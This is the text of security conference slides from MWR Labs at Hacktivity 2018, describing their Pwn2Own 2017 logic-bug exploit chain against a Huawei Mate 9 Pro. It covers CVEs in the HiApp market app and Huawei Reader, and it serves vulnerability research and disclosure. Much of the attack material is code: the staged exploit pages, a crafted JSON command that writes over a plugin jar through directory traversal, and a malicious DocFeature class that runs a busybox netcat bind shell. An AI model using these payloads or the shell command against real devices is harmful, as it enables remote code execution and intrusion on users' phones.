




++

Android Pwn2Owning

Hacktivity 2018



MWR
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Introduction

LABS

Agenda

- Background
- Bug Hunting Approach
- Tooling / Automation
- Mobile Pwn2Own 2017 Vulnerabilities
- Demo 😊



About us



- James Loureiro (@NerdKernel) – Head of Security Research @ MWR primarily focused on VR and reverse engineering (as well as herding other researchers)
- Alex Plaskett (@alexjplaskett) – Offensive security researcher @ MWR primarily doing VR (WP7 jailbreak, Pwn2Own Safari 2018, mobile security)

Background

- How hard can it be?!




PWN2OWN 2017

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Huawei Mate 9 Pro



Execute arbitrary instructions...
...retrieve sensitive information...
...a full sandbox escape is required...
...without any user interaction.

Pwn2Own Categories and Choice

Categories	Target	Cash Prize	Master of Pwn Points
Browsers	Samsung Internet Browser	\$30,000 (USD)	8
	Apple Safari	\$40,000 (USD)	10
	Google Chrome	\$50,000 (USD)	10
Short Distance and WiFi	Bluetooth	\$40,000 (USD)	8
	NFC	\$50,000 (USD)	8
	WiFi	\$60,000 (USD)	8
Messaging	SMS	\$60,000 (USD)	12
	MMS	\$60,000 (USD)	12
Baseband	*	\$100,000 (USD)	20

PWN2OWN – Results

Contestant	Points
Tencent Keen Security Lab	44
360 Security	27
MWR Labs - Alex Plaskett, James Loureiro, Robert Miller and Georgi Geshev	21
acez	20
Richard Zhu (fluorescence)	10
Team MBSD	-5

Bug Hunting Approach

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Browser attack surface



created with www.bubbl.us

Exploit Mitigation Advancement



- Memory Safety Mitigations
 - ASLR, PIE, RELTO, PartitionAlloc
- Means you need mitigation bypass vulnerabilities too
- Time consuming debugging memory corruption exploits on a real device

Attackers – Positives of Logic Bug Chains



- Often design issues
 - Hard to fix (long bug lives)
 - Increased reliability
- Architectural agnostic
 - No problems with shellcode
- Android IPC specifically is complex as hell
- Harder to detect?

Attackers – Negatives of Logic Bug Chains

- They can get ridiculously long (11 Bugs in S8)
 - One bug gets fixed and the whole chain is screwed!
 - Usually not particularly stealthy
 - Samsung phone rebooted.
 - Huawei phone switches apps twice.
- Often requires a deeper understanding of the application
- Automated detection is harder – how do you fuzz for logic bugs?

Bug Hunting Tips

- Want to rapidly find high risk issues in a large amount of apps
- How to prioritise?
 - External Attack Surface (Reachable from browser)
 - Permissions?
 - Less of an issue for initial foothold
 - Dangerous words

Tooling and Automation

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Toolset (Static vs Dynamic)

- Android: What do we care about?
 - BROWSABLE intents (Need to be web accessible) and Intents
 - Content we can load into the applications (either via a WebView or Media).
 - Controlled file writes / reads
 - Unsafe class loading

Increasing the attack surface



How do we get more things accessible?

- Intent Proxy Bugs
- MITM stuff (SSL weaknesses)

Intent Proxy Example

- Android Vending
 - LaunchUrlHandlerActivity
- We control the package name and URI


```
final Intent a(Intent arg17, b arg18, j arg19) {  
    Intent v2_1;  
    Uri v7 = arg17.getData();  
    String v8 = v7.getQueryParameter("url");  
    String v10 = v7.getQueryParameter("id");  
  
    // ...  
    if((v5) && (v12)) {  
        v2_1 = new Intent("android.intent.action.VIEW");  
        v2_1.setData(Uri.parse(v8));  
        v2_1.setPackage(v10);  
        return v2_1;  
    }  
  
    // ...  
}
```

Toolset (Static Analysis)




- Rezord (internal) – Mass de-Compilation of all apps
- JEB
- Grep

'Jandroid' – Static analysis



Invocation `<id>: 316678 code: invoke-virtual {v0, v10}, Ldalvik/system/DexClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class; line_no: 218`

‘Jandroid’ – Static analysis



‘Jandroid’ – Static analysis



- For more info see: Chainspotting: Building Exploit Chains with Logic Bugs slides:
[https://infiltratecon.com/archives/\[Infiltrate\]%20Geshev%20and%20Miller%20-%20Logic%20Bug%20Hunting%20in%20Chrome%20on%20Android.pdf](https://infiltratecon.com/archives/[Infiltrate]%20Geshev%20and%20Miller%20-%20Logic%20Bug%20Hunting%20in%20Chrome%20on%20Android.pdf)

Dynamic Analysis Toolset

- Xposed
 - Early injection (Zygote)
 - Global hooks across multiple applications
- Frida
 - Quick and easy prototyping
 - Debugging and dynamic analysis of obfuscated code

	Global Hook	Flexible	Requires Root	Lightweight
Xposed	✓	✗	✓	✗
Frida	✗	✓	✗	✓

vulnerabilities


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Building an Exploit Chain

- So what do we need to do?
 - Assuming no memory corruption
 - BROWSABLE Intent / URI handler etc.



HiApp – Huawei Market Place (App Gallery)



HiApp – whitelist Bypass (CVE-2018-7931)

```
<activity android:configChanges="orientation|screenSize"
android:launchMode="singleTop"
android:name="com.huawei.appmarket.service.externalapi.view.ThirdApiActivity" android:theme="@style/loading_activity_style">
<intent-filter>
    <action android:name="android.intent.action.VIEW" />
    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />
    <data android:host="details" android:scheme="appmarket" />
    <data android:host="search" android:scheme="market" />
    <data android:host="a.vmall.com" android:scheme="https" />
    <data android:host="com.huawei.appmarket" android:scheme="hiapp" />
</intent-filter>
```

HiApp – whitelist Bypass (CVE-2018-7931)

```
public List b() {  
    if(b.a(this.a)) {  
        this.a = new ArrayList();  
        this.a.clear();  
        this.a.add(".*\\.hicloud\\.com$");  
        this.a.add(".*\\.vmall\\.com$");  
        this.a.add(".*\\.huawei\\.com$");  
        Iterator v1 = com.huawei.appmarket.service.whitelist.b.a().iterator();  
  
        do { If(v1.hasNext()) { if(!v1.next().booleanValue()) { continue; }  
        }  
    }  
}
```

HiApp – stage1.html (CVE-2018-7931)

```
document.location =  
"hiapp://com.huawei.appmarket?activityName=activityUri|webview.activity&pa  
rams={'params': [ { 'name': 'uri', 'type': 'String', 'value': 'internal_webview' }, {  
'name': 'url', 'type': 'String', 'value': 'http://www.vmall.com:8000/stage2.html'  
} ] }&channelId=1";
```

Stage 1



HiApp – JavaScript Bridge (CVE-2018-7932)

```
this.webview.getSettings().setJavaScriptEnabled(true);  
this.webview.requestFocus();  
this.webview.setWebViewClient(new InternalWebViewClient(this));  
this.webview.setWebChromeClient(new  
MarketWebChromeClient(this));  
this.webview.getSettings().setBlockNetworkImage(true);  
  
this.webview.addJavascriptInterface(new  
HiSpaceObject(this.mContext, ((JsCallbackObject)this),  
this.webview), "HiSpaceObject");
```

HiApp – JavaScript Bridge (CVE-2018-7932)

```
@JavascriptInterface public void launchApp(String arg7, String arg8)
{
    URISyntaxException v1_1;
    v0_1 = Intent.parseUri(arg8, 0);
    ..
    try { v0_1.setPackage(arg7); }

    this.mActivity.startActivity(v0_1);
}
```

android-app URI Schema

http://androidxref.com/8.0.0_r4/xref/frameworks/base/core/java/android/content/Intent.java

android-app:/{package_id}/{scheme}/{host}/{path}][#Intent;{...}]

android-

app:/{com.example.app/#Intent;action=com.example.MY_ACTION;i.some_int=100;S.some_str=hello;end

Action: com.example.MY_ACTION

Package: com.example.app

Extras: some_int=(int)100 some_str=(String)hello


HiApp – stage2.html (CVE-2018-7932)

```
var pkg = "com.huawei.hwireader";  
var uri =  
"androidapp://http/www.google.co.uk/#Intent;component=com.h  
uawei.hwireader/com.zhangyue.iReader.online.ui.ActivityWeb;a  
ction=com.huawei.hwireader.SHOW_DETAIL;S.url=http://192  
.168.137.1:8000/stage3.html;end";  
  
window.HiSpaceObject.launchApp(pkg,uri);
```

Stage 2



Huawei Reader Application



Huawei Reader – Input Validation (CVE-2017-15308)

```
protected void onCreate(Bundle arg8) {  
    CharSequence v0_1;  
    String v0;  
    CharSequence v1 = null;  
    super.onCreate(arg8);  
    Intent v2 = this.getIntent();  
    if(v2 != null) { Uri v3 = v2.getData();  
        if(v3 != null) { v0 = v3.getScheme();  
    } else { v0_1 = v1; }  
  
    v0 = v2.getStringExtra("url");  
    if(TextUtils.isEmpty(((CharSequence)v0))) { goto label_51; }  
    this.loadRefreshUrl(v0); }
```

Huawei Reader – Input Validation (CVE-2017-15308)

```
@JavascriptInterface public void do_command(String arg9) {  
    String v4 = ((JSONObject)v2_3).getString("Action");  
    LOG.I("js", "actionName:" + v4);  
  
    JSONObject v5 =  
        ((JSONObject)v2_3).getJSONObject("Data");  
    if(v4.equalsIgnoreCase("onlineReader")) {  
        JSProtocol.mJSBookProtocol.online(v5); return;  
    }  
  
    if(v4.equalsIgnoreCase("readNow")) {  
        JSProtocol.mJSBookProtocol.readNow(v5); return;  
    }  
}
```

Huawei Reader – Arbitrary Write / Directory Traversal (CVE-2017-15309)

```
public void originalDownload(JSONObject arg19, boolean
arg20, boolean arg21)
{
    v8 = 0;
    v10 = v4;
    v4_1 = 0;

    try {
        int v13 = v7.getInt("Type");
        v14 = v7.optInt("Version");
        v15 = v7.optBoolean("getDrmAuth", true);
        v3 = PATH.getBookDir() + v7.getString("FileName");
        v2 = v7.getInt("FileId");
        v6 = v7.getString("DownloadUrl");
    }
```

Huawei Reader – Arbitrary Write / Directory Traversal (CVE-2017-15309)

```
function download_plugin()
{
    var json =
        '{"Action":"onlineReader","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137.1:8001/aaaaa","Price":"0"},
        "DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1","FileId":"32532639","FileName":"../plugins/DFService/classes.jar",
        "FileSize":10000000,"Ebk3DownloadUrl":"https://s3-ap-northeast-1.amazonaws.com/4aaaaaa9q84q87reertw35wy5/test.zip",
        "DownloadUrl":"https://s3-ap-northeast-1.amazonaws.com/k4aaaaaaertw35wy5/test.zip","Version":"2"}}}';

    window.ZhangYueJS.do_command(json);
}
```


Stage 3



Huawei Reader – Arbitrary Delete (CVE-2017-15310)

```
public boolean onChapPack(JSONObject arg10) {  
    boolean v0_2;  
    try { int v3 = arg10.getInt("StartIndex");  
    int v4 = arg10.getInt("EndIndex");  
    String v2 = arg10.getString("Price");  
    int v1 = arg10.getInt("BookId");  
    String v5 = arg10.getString("PayURL");  
    String v0_1 = arg10.getString("DownloadURL");  
    String v7 = PATH.getBookDir() + arg10.getString("FileName");  
  
    if((FILE.isExist(PATH.getBookNameCheckOpenFail(v7))) &&  
    Device.getNetType() != 0xFFFFFFFF) {  
        FILE.delete(PATH.getBookCachePathNamePostfix(v7));  
        FILE.delete(v7);  
    }  
}
```

Huawei Reader – Arbitrary Delete (CVE-2017-15310)

```
public static String getBookNameCheckOpenFail(String arg2) {  
    return PATH.getOpenFailDir() + MD5.getMD5(arg2);  
}
```

```
public static String getOpenFailDir() {  
    return PATH.getWorkDir() + "/books/.openfail/";  
}
```

Huawei Reader – Arbitrary Delete (CVE-2017-15310)

```
5457bea93d0548a4d84357308df45322 =  
../plugins/DFService/classes.jar
```

```
/sdcard/HWiReader/books/.openfail/5457bea93d0548a4d8435  
7308df45322
```

```
/sdcard/HWiReader/books/../plugins/DFService/classes.jar
```

Huawei Reader – Insecure Plugin Loading

```
public static Class loadPlug(Context arg4, String arg5, String arg6) throws Exception {
    return new DexClassLoader(arg5, arg4.getApplicationInfo().dataDir, null,
arg4.getClassLoader()).loadClass(arg6);
}
protected final ArrayList P()
{
    if(p.R == null) {
        try { PlatForm v3 = new PlatForm();
            Object v2 = Util.loadPlug(APP.getAppContext(), v3.getPlugDir("DFService")
+
                "classes.jar",
"com.zhangyue.iReader.Plug.Service.DocFeature").newInstance();
            v2.setPlatform(((IPlatform)v3));
            p.R = ((IPlugDFService)v2);
        }
    }
}
```



Huawei Reader – Insecure Plugin Loading

```
function download_plugin() {  
  
    document.writeln(++ Downloading replacement classes.jar ++);  
  
    // It should be noted that FileId needs to be unique for the download to work correctly... var  
    json =  
    '{"Action":"onlineReader","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137.1:8001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1","FileId":"" +  
    PLUGIN_FILE_ID +  
    ""},"FileName":"../plugins/DFService/classes.jar","FileSize":10000000,"Ebk3DownloadUrl":"" +  
    PLUGIN_URI + ""},"DownloadUrl":"" + PLUGIN_URI + ""},"Version":"2"}}';  
  
    window.ZhangYueJS.do_command(json); }
```

Huawei Reader – Payload Creation

```
package com.zhangyue.iReader.Plug.Service;
import android.util.Log;
public class DocFeature {
    public DocFeature() {
        // com.zhangyue.iReader.Plug.Service.DocFeature
        Log.e("ATTACKER", "RUNNING ARBITRARY CODE!");
        String cmd = "/data/data/com.huawei.hwireader/busybox
nc -l -p 5555 -e /data/data/com.huawei.hwireader/busybox sh";
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
```


Demo



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Questions?

Credits



- Georgi Geshev / Rob Miller – <https://labs.mwrinfosecurity.com/publications/logic-bug-hunting-in-chrome-on-androidnew-blog-post/>

whitepaper



- Full whitepaper can be found on the MWR Labs website (<https://labs.mwrinfosecurity.com/publications/nhuawew-blog-post/>)

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